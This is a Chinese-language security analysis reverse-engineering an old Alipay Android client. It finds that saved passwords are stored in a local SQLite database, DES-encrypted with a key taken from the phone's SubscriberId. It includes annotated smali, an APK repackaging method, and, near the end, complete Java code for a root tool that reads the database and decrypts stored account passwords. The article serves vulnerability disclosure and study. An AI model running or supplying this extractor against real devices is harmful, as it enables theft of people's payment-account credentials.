作者:非虫
随着电子商务在国内的迅猛发展,网上购物也成为了时下流行的消费方式。就我个人来说,每年在淘宝上也会购物上百起。这足不出户的购物方式的确给我们的生活带来了不少实惠与方便,但同时,购物安全也成为了广大网购消费者担心的一个问题。每年在新闻中爆光的网银被盗、被骗的事件也屡见不鲜。
长期使用网络客户端软件的朋友都有一个习惯,为了避免每次使用时输入帐号名和密码,都习惯使用软件的自动保存密码功能来记住登录密码,这样下次直接点击登录按钮就可以登录软件了(有些软件直接跳过了登录确认的界面),这样,一个安全问题就出来了,软件为我们保存的密码是明文存储的吗?如果加密了,加密强度怎样?外部用户可以直接破解吗?试想一下,像支付宝这类敏感的网银软件,如果本地存储的密码被人直接破解,那后果是很难预料的!而随着我对支付宝程序的逆向分析,也证明了这个安全问题确实存在。在此申明:以下文章涉及的代码与分析内容仅供安卓系统安全学习交流,任何个人或组织不得使用文中提到的技术做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。
测试环境
一台安装有支付宝的安卓手机,并且能获得ROOT权限。
支付宝的版本为3.4.0.0229。
程序运行后使用了自动保存密码功能。为了测试更详细,我分别保存了支付宝与淘宝的帐号密码。
程序分析
医生给病人看病步骤讲究的是望闻问切,通过查看病人的面貌体态来对病情做初步判断,我们今天的分析也一改以往的埋头分析,采用类似的方法,先看看软件运行后的“症状”。打开支付宝软件,点击右上角的登录按钮,分别使用淘宝与支付宝帐号登录,勾选上自动保存密码,如图1所示:
图1
退出软件,然后重新登录,发现软件的确记住了保存的密码,而且密码框显示“星星”的位数与我实际的密码位数一样,看到这里我立马来劲了!这说明密码肯定是保存在本地的某个文件中,而且程序启动时读取密码,然后设置到密码框中。
下面,请出DDMS,进入支付宝数据目录“/data/data/com.eg.android.AlipayGphone/”,里面的文件结构如图2所示:
图2
在DateBases目录里有个RecentDB文件,初步判断它是使用的Sqlite3保存的数据库,将该文件导出到D盘根目录,进行命令行,使用AndroidSDK里面的Sqlite3.exe打开该数据库并分别执行“.tables”、“.schema RecentTable2”、“select * from RecentTable2;”命令,执行后结果如图3所示:
图3
这不看不知道,一看真吓一跳,原来帐号名与密码直接保存在了这个数据库中!只是密码被加过密,看后面的“==”还以为是Base64,可测试后发现不是,退出支付宝程序将它卸载并重新安装。重新运行软件一次后退出,将刚才导出的“RecentDB”文件导入,再次运行支付宝后发现软件登录框中帐号名与密码都记住了!接下来为手机换一张电话号码卡,重新进入程序发现密码框为空了。同样,在其它安卓手机上安装支付宝后导入RecentDB文件,密码框也为空,看来,支付宝对使用者手机与电话号码有所判断。
使用ApkTool将支付宝APK安装文件解包,打开“AndroidManifest.xml”文件,将“android:name”一栏的android:debuggable="false"改成android:debuggable="true",然后重新编译签名并安装,打开DDMS,在LogCat中新建一栏,设置“Filter Name”与“By Application Name”为“com.eg.android.AlipayGphone”,如图4所示:
图4
启动程序,这时就可以在DDMS中查看支付宝的Log输出了,运行程序后点击登录按钮进入到登录界面,在界面随意处点击几下,发现拦截到的消息如图5所示:
图5
由Log输出信息得知程序所在的Activity为“com.alipay.android.client.Login”,在反编译出的Smali文件夹中找到“Login.smali”文件并查看OnCreate()方法。代码太长,只帖关键部分:
.method public onCreate(Landroid/os/Bundle;)V
.locals 6
const/4 v5, 0x1
const/4 v4, 0x0
invoke-super {p0, p1},Lcom/alipay/android/client/RootActivity;->onCreate(Landroid/os/Bundle;)V
invoke-static {p0},Lcom/alipay/android/appHall/h;->a(Landroid/app/Activity;)Z
new-instance v0,Lcom/alipay/platform/a/b;
............
const-string v1, "logintype"
invoke-virtual {v0, v1},Lcom/alipay/android/client/a/o;->a(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
const-string v1,"taobao" #判断登录类型
invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v0
if-eqz v0, :cond_3
iput-boolean v5, p0, Lcom/alipay/android/client/Login;->k:Z
iput-boolean v4, p0,Lcom/alipay/android/client/Login;->l:Z
iget-object v0, p0,Lcom/alipay/android/client/Login;->K:Landroid/widget/Button;
invoke-virtual {v0, v4},Landroid/widget/Button;->setSelected(Z)V
iget-object v0, p0,Lcom/alipay/android/client/Login;->L:Landroid/widget/Button;
invoke-virtual {v0, v5},Landroid/widget/Button;->setSelected(Z)V
iget-object v0, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;
const v1, 0x7f0a0010
invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextView;->setHint(I)V #设置输入框的提示
:goto_0
invoke-direct {p0},Lcom/alipay/android/client/Login;->d()V #☻关键方法
iget-object v0, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;
new-instance v1,Lcom/alipay/android/client/cx;
invoke-direct {v1, p0},Lcom/alipay/android/client/cx;-><init>(Lcom/alipay/android/client/Login;)V
invoke-virtual {v0, v1},Landroid/widget/CheckBox;->setOnClickListener(Landroid/view/View$OnClickListener;)V
return-void
:cond_3
iput-boolean v4, p0,Lcom/alipay/android/client/Login;->k:Z
iput-boolean v5, p0,Lcom/alipay/android/client/Login;->l:Z
iget-object v0, p0,Lcom/alipay/android/client/Login;->K:Landroid/widget/Button;
invoke-virtual {v0, v5},Landroid/widget/Button;->setSelected(Z)V
iget-object v0, p0,Lcom/alipay/android/client/Login;->L:Landroid/widget/Button;
invoke-virtual {v0, v4},Landroid/widget/Button;->setSelected(Z)V
iget-object v0, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;
const v1, 0x7f0a0011
invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextView;->setHint(I)V #设置输入框的提示
goto :goto_0
.end method
在OnCreate()方法中,设置了控件的显示、提示及监听器,而后判断登录类型并设置“支付宝会员”或“淘宝会员”按钮的选择状态,在这期间调用了d()方法,该方法过后,帐号名与密码就被显示了出来,d()方法代码如下:
.method private d()V
.locals 5
const/16 v2, 0x8 #设置为View.GONE
const/4 v4, 0x0 #设置不选中或View.VISIBLE
iget-boolean v0, p0,Lcom/alipay/android/client/Login;->k:Z
if-nez v0, :cond_5 #检查用户类型
const-string v0,"alipay"
iget-object v1, p0,Lcom/alipay/android/client/Login;->J:Landroid/widget/Button;
invoke-virtual {v1, v4},Landroid/widget/Button;->setVisibility(I)V #设置为View.VISIBLE
iget-object v1, p0,Lcom/alipay/android/client/Login;->H:Landroid/widget/TextView;
invoke-virtual {v1, v4},Landroid/widget/TextView;->setVisibility(I)V #设置为View.VISIBLE
iget-boolean v1, p0,Lcom/alipay/android/client/Login;->P:Z
if-nez v1, :cond_3
iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;
invoke-virtual {v1, v2},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.GONE
:goto_0
iget-object v1, p0,Lcom/alipay/android/client/Login;->j:Lcom/alipay/android/client/a/l; #获取j对象
#☻调用j.a(String)方法获得ho对象,传入的参数为代表用户类型的“alipay”或“taobao”☻
invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;->a(Ljava/lang/String;)Lcom/alipay/android/client/ho;
move-result-object v0
if-nez v0, :cond_0 #☻检查有没有“alipay”类型登录的用户☻,没有下面就new个空的ho对象
new-instance v0,Lcom/alipay/android/client/ho; #new一个ho对象
invoke-direct {v0},Lcom/alipay/android/client/ho;-><init>()V
:cond_0
iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;
const-string v2,""
invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setText(Ljava/lang/CharSequence;)V
#将用户名输入框清空
iget-object v1, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText;
const-string v2,""
#将密码输入框清空
invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
iget-object v1, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;
invoke-virtual {v1, v4},Landroid/widget/CheckBox;->setChecked(Z)V #设置“记住登录密码”选择状态
iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;
const/16 v2, 0x64
invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setThreshold(I)V
iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;
iget-object v2, v0,Lcom/alipay/android/client/ho;->a:Ljava/lang/String; # ho.a 为用户名
# ☻将ho.a中的用户名设置到用户名输入框☻
invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setText(Ljava/lang/CharSequence;)V
iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;
const/4 v2, 0x0
invoke-static {v1, v2},Lcom/alipay/android/client/a/o;->a(Landroid/widget/EditText;Landroid/text/method/PasswordTransformationMethod;)V
const-string v1,""
:try_start_0
iget-object v2, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #ho.b为加密过的密码
const-string v3,""
invoke-virtual {v2, v3},Ljava/lang/String;->equals(Ljava/lang/Object;)Z #☻判断密码是否为空☻
move-result v2
if-nez v2, :cond_8
iget-object v0, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #☻需要解密的密码☻
sget-object v1,Lcom/alipay/android/client/d/b;->I:Ljava/lang/String; #☻解密密钥☻
#调用com.google.zxing.c.a.b.b(String)方法解密ho.b中加密过的密码
invoke-static {v0, v1},Lcom/google/zxing/c/a/b;->b(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
if-eqz v0, :cond_1 #解密出的密码是否为空,为空就跳过设置密码框
iget-object v1, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText; #密码框
invoke-virtual {v1, v0},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V #☻设置密码☻
:cond_1
:goto_1
if-eqz v0, :cond_2
iget-object v1, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;
invoke-virtual {v0},Ljava/lang/String;->length()I
move-result v0
if-lez v0, :cond_9
const/4 v0, 0x1
:goto_2
invoke-virtual {v1, v0},Landroid/widget/CheckBox;->setChecked(Z)V #取消“记住登录密码”选中状态
:try_end_0
.catchLjava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
:cond_2
:goto_3
return-void #返回
:cond_3
iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;
invoke-virtual {v1, v4},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.VISIBLE
iget-object v1, p0,Lcom/alipay/android/client/Login;->h:Landroid/graphics/Bitmap;
if-eqz v1, :cond_4
iget-object v1, p0,Lcom/alipay/android/client/Login;->h:Landroid/graphics/Bitmap;
invoke-direct {p0, v1},Lcom/alipay/android/client/Login;->a(Landroid/graphics/Bitmap;)V
:cond_4
iget-object v1, p0,Lcom/alipay/android/client/Login;->e:Landroid/widget/EditText;
const-string v2,""
invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
goto :goto_0
:cond_5
const-string v0,"taobao" #☻等待查询"taobao" 类型的用户登录记录☻
iget-object v1, p0,Lcom/alipay/android/client/Login;->J:Landroid/widget/Button;
invoke-virtual {v1, v2},Landroid/widget/Button;->setVisibility(I)V
iget-object v1, p0,Lcom/alipay/android/client/Login;->H:Landroid/widget/TextView;
invoke-virtual {v1, v2},Landroid/widget/TextView;->setVisibility(I)V
iget-boolean v1, p0,Lcom/alipay/android/client/Login;->M:Z
if-nez v1, :cond_6
iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;
invoke-virtual {v1, v2},Landroid/widget/RelativeLayout;->setVisibility(I)V
goto/16 :goto_0
:cond_6
iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;
invoke-virtual {v1, v4},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.VISIBLE
iget-object v1, p0,Lcom/alipay/android/client/Login;->g:Landroid/graphics/Bitmap;
if-eqz v1, :cond_7
iget-object v1, p0,Lcom/alipay/android/client/Login;->g:Landroid/graphics/Bitmap;
invoke-direct {p0, v1},Lcom/alipay/android/client/Login;->a(Landroid/graphics/Bitmap;)V
:cond_7
iget-object v1, p0,Lcom/alipay/android/client/Login;->e:Landroid/widget/EditText;
const-string v2,""
invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V #清空
goto/16 :goto_0
:cond_8 #跳到这里说明密码为空,则直接设置密码框内容为空
:try_start_1
iget-object v2, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText; #密码框
iget-object v0, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #密码
invoke-virtual {v2, v0},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V#设置密码框
:try_end_1
.catchLjava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
move-object v0, v1
goto :goto_1
:cond_9
move v0, v4
goto :goto_2
:catch_0
move-exception v0
invoke-virtual {v0},Ljava/lang/Exception;->printStackTrace()V
goto :goto_3
.end method
在整个Login类中,有三个变量是需要注意的,它们分别是“EditText e”、“AutoCompleteTextView v”、“EditText x”。因为只有它们才可能是用户名或密码输入框,经过分析发现“AutoCompleteTextView v”为用户名输入框,而“EditText x”为密码输入框。在d()方法中,代码首先设置用户名输入框内容为ho.a,如果ho.b不为空就先其解密,然后设置到密码框,这样,用户名与密码就设置好了,由于我们的主题是分析密码存储机制,所以,其它代码就不着重分析了。
为了验证上面的分析,这里使用一个小技巧来查看上面ho.a与ho.b以及解密后的值,很多人可能立即想到了使用Toast弹出信息提示,不过个人觉得使用LogCat输出显示更方便,一方面是加入代码量少,使用的寄存器少,另一方面是输出的结果可以随时查看。在d()方法中加入两处Log.v的代码,修改后的代码如图6所示:
图6
在插入代码时需要注意不要随意使用寄存器,而破坏了原程序的状态。接下来保存“Login.Smali”文件后对整个APK进行重新编译与签名,再次安装后导入上面保存的RecentDB文件,启动程序进入登录界面,会发现LogCat会显示如图7所示的信息:
图7
这个时候神奇的发现,被加密的密码、密钥以及解密后的密码都输出到了LogCat中!ho对象何时获取的密码信息?而密钥又是如何生成的?这重重的疑问更增加了我的好奇心!我们这个时候可以采取顺藤摸瓜的方式来追根溯源了。在d()方法中有如下一段代码:
iget-object v1, p0,Lcom/alipay/android/client/Login;->j:Lcom/alipay/android/client/a/l;
invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;->a(Ljava/lang/String;)Lcom/alipay/android/client/ho;
move-result-object v0
if-nez v0, :cond_0
new-instance v0, Lcom/alipay/android/client/ho; #如果j.a()返回为0,就new一个ho对象
ho对象是通过this.j.a()方法生成的,j是一个l对象,代码位于“com\alipay\android\client\a\l.smali”文件中,找到相应的l.a(String)方法,代码如下:
.method public final a(Ljava/lang/String;)Lcom/alipay/android/client/ho;
.locals 12
const/4 v10, 0x3
const/4 v7, 0x2
const/4 v8, 0x1
const/4 v9, 0x0
const/4 v3, 0x0
if-nez p1, :cond_0 #p1为String类型的参数,不为空就跳走,为空下面就查询所有用户登录的记录
iget-object v0, p0,Lcom/alipay/android/client/a/l;->a:Landroid/database/sqlite/SQLiteDatabase;
const-string v1,"RecentTable2" #需要查询的表
const/4 v2, 0x6
new-array v2, v2,[Ljava/lang/String;
const-string v4,"ID" #ID
aput-object v4, v2, v9
const-string v4,"NAME" #用户名
aput-object v4, v2, v8
const-string v4,"PASSWORD" #加密过的密码
aput-object v4, v2, v7
const-string v4,"TYPE" #用户类型
aput-object v4, v2, v10
const/4 v4, 0x4
const-string v5,"LOGINTIME" #最后登录的时间
aput-object v5, v2, v4
const/4 v4, 0x5
const-string v5, "USERID"
aput-object v5, v2, v4
const-string v7,"LOGINTIME desc" #构造SQL语句
move-object v4, v3
move-object v5, v3
move-object v6, v3
invoke-virtual/range {v0.. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
move-result-object v0 #☻执行查询并返回结果☻
:goto_0
invoke-interface {v0},Landroid/database/Cursor;->moveToFirst()Z #转到第一条记录
move-result v1
if-eqz v1, :cond_2 #如果记录为空就跳走关闭数据库并返回
new-instance v1,Lcom/alipay/android/client/ho; #☻new一个ho对象☻
invoke-direct {v1},Lcom/alipay/android/client/ho;-><init>()V
const-string v2,"NAME"
invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
move-result v2
invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String; #☻查询结果的用户名
move-result-object v2
iput-object v2, v1,Lcom/alipay/android/client/ho;->a:Ljava/lang/String; #☻用户名赋值给ho.a☻
const-string v2,"PASSWORD"
invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
move-result v2
invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;#☻查询结果的密码
move-result-object v2
iput-object v2, v1,Lcom/alipay/android/client/ho;->b:Ljava/lang/String;#☻密码赋值给ho.b☻
if-nez p1, :cond_1
const-string v2,"TYPE"
invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
move-result v2
invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;#查询结果的用户类型
move-result-object v2
iput-object v2, v1,Lcom/alipay/android/client/ho;->c:Ljava/lang/String;☻用户类型赋值给ho.c☻
:goto_1
const-string v2,"USERID"
invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
move-result v2
invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v2
iput-object v2, v1,Lcom/alipay/android/client/ho;->e:Ljava/lang/String;☻用户ID赋值给ho.e☻
:goto_2
invoke-interface {v0},Landroid/database/Cursor;->close()V #关闭Cursor
return-object v1 #返回ho对象
:cond_0 #☻跳到这里查询特定“TYPE”的用户登录记录☻
iget-object v4, p0,Lcom/alipay/android/client/a/l;->a:Landroid/database/sqlite/SQLiteDatabase;
const-string v5,"RecentTable2" #要查询的数据表
const/4 v0, 0x5
new-array v6, v0,[Ljava/lang/String;
const-string v0,"ID"
aput-object v0, v6, v9
const-string v0,"NAME"
aput-object v0, v6, v8
const-string v0,"PASSWORD"
aput-object v0, v6, v7
const-string v0,"LOGINTIME"
aput-object v0, v6, v10
const/4 v0, 0x4
const-string v1,"USERID"
aput-object v1, v6, v0
const-string v7,"TYPE = ?"
new-array v8, v8,[Ljava/lang/String;
aput-object p1, v8, v9
const-string v11, "LOGINTIMEdesc"
#上面在构造SQL语句,整个语句类似于:
#select ID, NAME, PASSWORD, LOGINTIME, USERID from RecentTable2
# where TYPE="alipay" order by LOGINTIME desc;
move-object v9, v3
move-object v10, v3
invoke-virtual/range {v4.. v11},Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;#执行SQL查询语句
move-result-object v0
goto :goto_0 #跳转去赋值
:cond_1
iput-object p1, v1,Lcom/alipay/android/client/ho;->c:Ljava/lang/String; #保存用户类型到ho.c
goto :goto_1
:cond_2
move-object v1, v3
goto :goto_2
.end method
这段代码我注释的很清楚,而且功能也很简单,就是查询SQL语句,然后对ho对象的相应字段赋值。
用户名与加密密码的获取弄清楚后,来看看密钥是如何生成的。从上面密码解密部分的分析得知它是通过“com.alipay.android.client.d.b”对象的I成员传递进来的,而它是在哪里被赋的值呢?经过分析,发现是在Login类的“b(com.alipay.platform.core.b)”方法中调用了“com.alipay.android.client.a.m.b(Context)”方法,而后者又调用了“com.alipay.android.client.a.o”类的“a(Context)”方法,“a(Context)”方法代码如下:
.method public static a(Landroid/content/Context;)Ljava/lang/String;
.locals 3
invoke-static {p0},Lcom/alipay/android/client/a/j;->a(Landroid/content/Context;)Lcom/alipay/android/client/a/j;
move-result-object v0
invoke-virtual {v0},Lcom/alipay/android/client/a/j;->e()Ljava/lang/String;
move-result-object v0
const/4 v1, 0x0
const/16 v2, 0x8
invoke-virtual {v0, v1,v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
move-result-object v0
return-object v0
.end method
转换成JAVA代码只只执行如下一行:
return com.alipay.android.client.a.j.a(Context).e().substring(0, 8);
取e()方法返回字符串的前8位,“e()”方法代码如下:
.method public final e()Ljava/lang/String;
.locals 2
iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #j.b是否为空字符串
if-nez v0, :cond_0
iget-object v0, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String;#j.a是否为空字符串
if-nez v0, :cond_0
const-string v0,"000000000000000" #调用b()方法构造一个全0字符串
invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
:goto_0
const-string v1,"[[a-z][A-Z][0-9]]{15}\\|[[a-z][A-Z][0-9]]{15}"
invoke-virtual {v0, v1},Ljava/lang/String;->matches(Ljava/lang/String;)Z # #字符串是否适合要求
move-result v1
if-eqz v1, :cond_3 #字符串构造失败跳走
:goto_1
return-object v0 #返回
:cond_0
iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #取j.b字符串
if-nez v0, :cond_1 #不为空就跳走
new-instance v0,Ljava/lang/StringBuilder;
invoke-direct {v0},Ljava/lang/StringBuilder;-><init>()V
iget-object v1, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String; #取j.a字符串
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
const-string v1,"|" #添加‘|’
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
const-string v1,"000000000000000" #添加全0
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String; #转换为字符串
move-result-object v0
goto :goto_0 #返回
:cond_1
iget-object v0, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String; #取j.a字符串
if-nez v0, :cond_2
iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #取j.b字符串
invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
goto :goto_0
:cond_2
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0},Ljava/lang/StringBuilder;-><init>()V
iget-object v1, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String;
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
const-string v1,"|"
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
iget-object v1, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String;
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
goto :goto_0
:cond_3
const-string v0,"000000000000000"
invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
goto :goto_1
.end method
这段代码通过判断j.a与j.b两个字符串并根据情况返回相应的字符串,而j.a与j.b是在j对象的构造函数中赋值的,j.b由getDeviceId()来设置,j.a由getSubscriberId()来设置,具体的代码由于篇幅我就不贴了,由于我手机获取这两个值都不为空,所以,这里返回的字符串为我的SubscriberId,经过SubString(0, 8)后最后得到的密钥为我手机SubscriberId的前8位。到这里,加密密码读取与密钥计算都明白了,还剩下加密与解密方法没有分析。
密码的加密与解密分别调用了“com.google.zxing.c.a.b.a(String, String)”与“com.google.zxing.c.a.b.b(String,String)”方法,两个参数中第一个为需要加密或解密的字符串,第二个为密钥,最终两个方法都调用了“com.google.zxing.c.a.b.a(int , String, String)”方法,转换成JAVA代码如下:
private static String a(intparamInt, String paramString1, String paramString2)
{
try {
byte[] arrayOfByte =paramString2.getBytes();
SecretKeySpeclocalSecretKeySpec = new SecretKeySpec(arrayOfByte, "DES"); //初始化SecretKey
Cipher localCipher =Cipher.getInstance("DES");
localCipher.init(paramInt, localSecretKeySpec); #paramInt为1就加密,为2就解密
byte[] localObject;
if (paramInt == 2) {
localObject =a.a(paramString1); //调用a.a(String)进行一轮运算,返回处理后的字符数组
localObject =localCipher.doFinal(localObject); //进行DES解密
return newString(localObject );
} else {
localObject =paramString1.getBytes("UTF-8"); //将需要加密的字符串转成字符数组
localObject =localCipher.doFinal(localObject); //进行DES加密
returna.a(localObject); //调用a.a(byte[])进行一轮运算,返回最终处理后的字符串
}
}
catch (Exception localException)
{
localException.printStackTrace();
return null;
}
}
代码最终进行了DES加密与解密操作,只是其中多了一道“a.a(byte[])”与“a.a(String)"的加密与解密工序,
有过二维码扫描程序编写经验的朋友一定会发现“com.google.zxing”包是一个开源的一维、二维码扫描项目,到GoogleCode上下载该项目的源码,可以发现,上面的代码是经过支付宝修改过的“ReedSolomonEncoder.java”文件,源码位于“zxing-2.0\core\src\com\google\zxing\common\reedsolomon”目录,但没有这个“a.a(byte[])”与“a.a(String)"方法,显示是支付宝手动添加的,而修改过的b类(未混淆则为ReedSolomonEncoder类)的a方法是调用了“com.alipay.android.c.a.a方法”进行字符编码运算,代码位于“com.alipay.android.c”目录中,这个c类提供了四个方法,其中两个为字符处理的判断方法,另外两个分别是加密与解密的代码,限于本人算法能力有限,无法对算法代码进行分析讲解。大家可以参看相关文件来了解它的具体实现,到这里支付宝登录密码的加密与解密也算搞清楚了。
代码编写
仔细的观察“com.alipay.android.c.a”类,会发现它是一个功能独立的算法类,与支付宝程序的其它逻辑部分无任何耦合,因此,代码编写时我使用了一个取巧的方法,将“a.smali”文件转换成dex文件,然后使用dex2jar转换成jar文件拿到安卓项目中调用,程序的代码如下:
public void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setTitle("支付宝本地密码查看测试程序");
tv = (TextView)findViewById(R.id.text_passwords);
if (!RootUtils.hasRootPermission()){
Toast.makeText(AlipaypwdActivity.this, "程序只能在ROOT过的手机上运行",
Toast.LENGTH_LONG).show();
AlipaypwdActivity.this.finish();
}
if (!RootUtils.hasInstalledApp(AlipaypwdActivity.this, "com.eg.android.AlipayGphone")) {
Toast.makeText(AlipaypwdActivity.this, "检测到手机上未安装的支付宝软件",
Toast.LENGTH_LONG).show();
return;
}
//改权限以便下面进行数据库访问
RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/RecentDB");
try {
Context context =createPackageContext("com.eg.android.AlipayGphone",
Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase db=context.openOrCreateDatabase("RecentDB", 0, null);
Cursor cursor = db.rawQuery("select NAME,PASSWORD, TYPE from RecentTable2", null);
TelephonyManager tm =(TelephonyManager)getSystemService("phone");
String str =tm.getSubscriberId(); //支付宝用这个ID的前8位做加密密钥
Log.v(TAG, str);
String subStr = str.substring(0,8); //只取前8位
byte[] keys =subStr.getBytes();
StringBuffer sb = new StringBuffer();
sb.append("\n以下为本地保存的支付宝密码解密:\n");
while (cursor.moveToNext())
{
sb.append("帐号类型:" + cursor.getString(2) + '\n');
sb.append("用 户 名:" + cursor.getString(0) + '\n');
sb.append("加密密码:" + cursor.getString(1) + '\n');
sb.append("解密密码:" +decryptPassword(cursor.getString(1), keys) + '\n'); sb.append("----------------------------------------------------\n");
}
sb.append("\n\n以下为测试支付宝密码加密:\n");
sb.append("原 密 码:" + "12345678" + '\n');
sb.append("加密密码:" + encryptPassword("12345678", keys) + '\n');
sb.append("----------------------------------------------------\n");
sb.append("原 密 码:" + "87654321" + '\n');
sb.append("加密密码:" + encryptPassword("87654321", keys) + '\n');
sb.append("----------------------------------------------------\n");
tv.setText(sb.toString());
db.close();
} catch (NameNotFoundException e1){
e1.printStackTrace();
}
}
加密与解密部分代码如下:
private StringdecryptPassword(String encryptedPass, byte[] keys) {
try {
SecretKeySpec localSecretKeySpec = new SecretKeySpec(keys, "DES");
Cipher localCipher = Cipher.getInstance("DES");
localCipher.init(Cipher.DECRYPT_MODE, localSecretKeySpec);
byte[] bytes =com.alipay.android.c.a.a(encryptedPass);//调用支付宝的解密接口对密码进行解密
bytes = localCipher.doFinal(bytes);//DES解密
String password = new String(bytes);
Log.v(TAG, password);
return password;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private StringencryptPassword(String pass, byte[] keys) {
try {
SecretKeySpec localSecretKeySpec = new SecretKeySpec(keys, "DES");
Cipher localCipher = Cipher.getInstance("DES");
localCipher.init(Cipher.ENCRYPT_MODE, localSecretKeySpec);
byte[] passBytes =pass.getBytes("UTF-8");
byte[] bytes =localCipher.doFinal(passBytes); //DES加密
String password =com.alipay.android.c.a.a(bytes); //调用支付宝的加密接口对密码进行加密
Log.v(TAG, password);
return password;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
最后,程序运行后效果如图8所示:
图8
